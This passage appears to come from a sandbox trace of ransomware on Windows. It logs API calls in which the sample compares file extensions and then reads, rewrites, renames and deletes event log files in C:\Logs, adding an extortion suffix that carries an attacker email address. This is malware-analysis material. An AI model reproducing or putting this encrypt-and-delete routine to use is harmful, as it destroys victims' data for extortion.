app-deployment.evtx")) returned 1 [0177.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.942] lstrlenW (lpString=".doc") returned 4 [0177.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString=".docx") returned 5 [0177.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.942] lstrlenW (lpString=".pdf") returned 4 [0177.942] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString=".xls") returned 4 [0177.942] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString=".xlsx") returned 5 [0177.942] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.942] lstrlenW (lpString=".ppt") returned 4 [0177.942] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.942] lstrlenW (lpString=".zip") returned 4 [0177.942] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString=".rar") returned 4 [0177.942] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString=".bz2") returned 4 [0177.942] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString=".7z") returned 3 [0177.942] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.942] lstrlenW (lpString=".dbf") returned 4 [0177.942] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.942] lstrlenW (lpString=".1cd") returned 4 [0177.942] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.942] lstrlenW (lpString=".jpg") returned 4 [0177.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.943] lstrlenW (lpString=".doc") returned 4 [0177.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString=".docx") returned 5 [0177.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.943] lstrlenW (lpString=".pdf") returned 4 [0177.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString=".xls") returned 4 [0177.943] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString=".xlsx") returned 5 [0177.943] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.943] lstrlenW (lpString=".ppt") returned 4 [0177.943] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.943] lstrlenW (lpString=".zip") returned 4 [0177.943] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString=".rar") returned 4 [0177.943] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString=".bz2") returned 4 [0177.943] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString=".7z") returned 3 [0177.943] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.943] lstrlenW (lpString=".dbf") returned 4 [0177.943] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.943] lstrlenW (lpString=".1cd") returned 4 [0177.943] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0177.943] lstrlenW (lpString=".jpg") returned 4 [0177.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.944] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.944] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0177.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0177.944] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0177.944] CloseHandle (hObject=0x380) returned 1 [0177.944] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0177.944] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0177.944] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.944] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.956] GetLastError () returned 0x0 [0177.956] ReadFile (in: hFile=0x380, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.974] WriteFile (in: hFile=0x2e0, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.975] ReadFile (in: hFile=0x380, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.975] WriteFile (in: hFile=0x2e0, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x130, lpOverlapped=0x0) returned 1 [0177.976] SetEndOfFile (hFile=0x2e0) returned 1 [0177.976] CloseHandle (hObject=0x2e0) returned 1 [0177.977] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.977] SetEndOfFile (hFile=0x380) returned 1 [0177.978] CloseHandle (hObject=0x380) returned 1 [0177.979] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.979] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0177.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.979] lstrlenW (lpString=".doc") returned 4 [0177.979] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.979] lstrlenW (lpString=".docx") returned 5 [0177.979] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.979] lstrlenW (lpString=".pdf") returned 4 [0177.979] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.979] lstrlenW (lpString=".xls") returned 4 [0177.979] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.979] lstrlenW (lpString=".xlsx") returned 5 [0177.979] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.979] lstrlenW (lpString=".ppt") returned 4 [0177.979] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.979] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.980] lstrlenW (lpString=".zip") returned 4 [0177.980] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString=".rar") returned 4 [0177.980] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString=".bz2") returned 4 [0177.980] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString=".7z") returned 3 [0177.980] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.980] lstrlenW (lpString=".dbf") returned 4 [0177.980] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.980] lstrlenW (lpString=".1cd") returned 4 [0177.980] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.980] lstrlenW (lpString=".jpg") returned 4 [0177.980] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.980] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.980] lstrlenW (lpString=".doc") returned 4 [0177.980] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.980] lstrlenW (lpString=".docx") returned 5 [0177.980] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.981] lstrlenW (lpString=".pdf") returned 4 [0177.981] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString=".xls") returned 4 [0177.981] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString=".xlsx") returned 5 [0177.981] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.981] lstrlenW (lpString=".ppt") returned 4 [0177.981] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.981] lstrlenW (lpString=".zip") returned 4 [0177.981] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString=".rar") returned 4 [0177.981] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString=".bz2") returned 4 [0177.981] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString=".7z") returned 3 [0177.981] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.981] lstrlenW (lpString=".dbf") returned 4 [0177.981] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.981] lstrlenW (lpString=".1cd") returned 4 [0177.981] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0177.981] lstrlenW (lpString=".jpg") returned 4 [0177.981] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.981] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.981] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0177.981] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.999] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1118208) returned 1 [0177.999] CloseHandle (hObject=0x36c) returned 1 [0177.999] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0177.999] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.999] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.999] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.999] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.000] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0178.000] GetLastError () returned 0x0 [0178.000] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0xffff0, lpOverlapped=0x0) returned 1 [0178.096] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xffff0, lpOverlapped=0x0) returned 1 [0178.110] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11010, lpOverlapped=0x0) returned 1 [0178.118] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11020, lpOverlapped=0x0) returned 1 [0178.122] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0178.122] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x134, lpOverlapped=0x0) returned 1 [0178.122] SetEndOfFile (hFile=0x310) returned 1 [0178.122] CloseHandle (hObject=0x310) returned 1 [0178.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.690] SetEndOfFile (hFile=0x36c) returned 1 [0178.737] CloseHandle (hObject=0x36c) returned 1 [0178.737] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.737] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0178.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.738] lstrlenW (lpString=".doc") returned 4 [0178.738] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString=".docx") returned 5 [0178.738] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.738] lstrlenW (lpString=".pdf") returned 4 [0178.738] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString=".xls") returned 4 [0178.738] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString=".xlsx") returned 5 [0178.738] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.738] lstrlenW (lpString=".ppt") returned 4 [0178.738] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.738] lstrlenW (lpString=".zip") returned 4 [0178.738] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString=".rar") returned 4 [0178.738] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString=".bz2") returned 4 [0178.738] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString=".7z") returned 3 [0178.738] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.738] lstrlenW (lpString=".dbf") returned 4 [0178.738] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.739] lstrlenW (lpString=".1cd") returned 4 [0178.739] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.739] lstrlenW (lpString=".jpg") returned 4 [0178.739] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.739] lstrlenW (lpString=".doc") returned 4 [0178.739] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString=".docx") returned 5 [0178.739] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.739] lstrlenW (lpString=".pdf") returned 4 [0178.739] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString=".xls") returned 4 [0178.739] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString=".xlsx") returned 5 [0178.739] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.739] lstrlenW (lpString=".ppt") returned 4 [0178.739] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.739] lstrlenW (lpString=".zip") returned 4 [0178.739] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString=".rar") returned 4 [0178.739] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString=".bz2") returned 4 [0178.739] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.739] lstrlenW (lpString=".7z") returned 3 [0178.740] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.740] lstrlenW (lpString=".dbf") returned 4 [0178.740] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.740] lstrlenW (lpString=".1cd") returned 4 [0178.740] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0178.740] lstrlenW (lpString=".jpg") returned 4 [0178.740] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.740] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.740] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0178.740] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0178.741] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0178.741] CloseHandle (hObject=0x36c) returned 1 [0178.741] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0178.741] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.741] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0178.741] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.741] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.741] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0178.742] GetLastError () returned 0x0 [0178.742] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.790] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.791] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0178.791] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x154, lpOverlapped=0x0) returned 1 [0178.791] SetEndOfFile (hFile=0x310) returned 1 [0178.792] CloseHandle (hObject=0x310) returned 1 [0178.793] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.793] SetEndOfFile (hFile=0x36c) returned 1 [0178.794] CloseHandle (hObject=0x36c) returned 1 [0178.794] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.795] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0178.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.796] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0178.796] lstrlenW (lpString=".doc") returned 4 [0178.796] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.796] lstrlenW (lpString=".docx") returned 5 [0178.796] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.796] lstrlenW (lpString=".pdf") returned 4 [0178.796] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.796] lstrlenW (lpString=".xls") returned 4 [0178.796] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.796] lstrlenW (lpString=".xlsx") returned 5 [0178.796] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.796] lstrlenW (lpString=".ppt") returned 4 [0178.796] lstrcmpiW 